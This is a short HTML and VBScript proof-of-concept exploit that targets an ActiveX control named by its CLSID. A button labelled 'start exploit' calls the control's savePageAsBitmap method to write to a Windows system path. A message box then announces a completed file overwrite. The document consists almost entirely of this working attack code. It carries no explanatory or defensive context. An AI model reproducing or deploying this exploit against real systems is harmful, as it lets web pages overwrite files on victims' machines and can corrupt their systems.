<object classid='clsid:BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A' id='target'/></object> <input language=VBScript onclick=launch() type=button value='start exploit'> <script language='vbscript'> Sub launch target.savePageAsBitmap "c:\windows\-system.ini" MsgBox"Exploit Completed.. file overwrite!" End Sub </script>